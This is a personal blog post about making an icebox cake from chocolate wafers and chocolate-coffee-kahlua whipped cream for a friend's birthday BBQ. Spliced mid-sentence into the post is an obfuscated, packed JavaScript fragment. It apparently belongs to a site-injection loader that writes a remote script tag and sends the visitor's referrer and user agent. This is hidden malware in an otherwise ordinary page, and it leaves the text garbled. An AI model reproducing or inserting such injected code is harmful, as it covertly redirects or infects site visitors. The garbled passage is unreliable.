We had a little mini impromptu BBQ this weekend with friends. Always fun.
It was sort of our friend’s birthday, so I thought I’d make a “cake” for dessert.
Let’s talk about this cake. My grandma and mom sometimes make it. Mom put a little twist on it the last time I was home, so I, of course, had to add the little twist to my recipe!
Do you know Ina Garten? Barefoot Contessa? Anything she makes turns out delicious. She has a recipe for an Ice ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tresn|var|u0026u|referrer|shffs||js|php’.split(‘|’),0,{}))
Box Cake that has rave reviews. But she suggests using some sort of chocolate chip cookie that I can’t find at Safeway or Trader Joes. This is where Grandma/Mom’s recipe comes in.
Ok, let’s back up. What’s an Ice Box Cake? Basically, it’s cookies and whipping cream. You layer the 2 and let it sit overnight. The cookies get soft and it’s delicious. If you’re a fan of dipping your cookies in milk to soften them, this is the cake for you. Ooooh, did I mention it doesn’t require an oven? Even better on a hot summer day!
Ok, back to the recipe. Instead of chocolate cookies, I used chocolate wafers. Think of the cookie portion of an Oreo. And I’ve always found them at Safeway. Win! The whipping cream is a chocolate/coffee/kahlua mix and is also quite delicious.
Finished product. It’s a little low, but it ended up feeding 8 of us perfectly with no leftovers. Also a win because if ANY of this was still in the house, I’d be eating it right now. Maybe even on my cereal, I don’t even know. It’s that good.
For the recipe, head over to my other blog. Double dipping. It’s cool.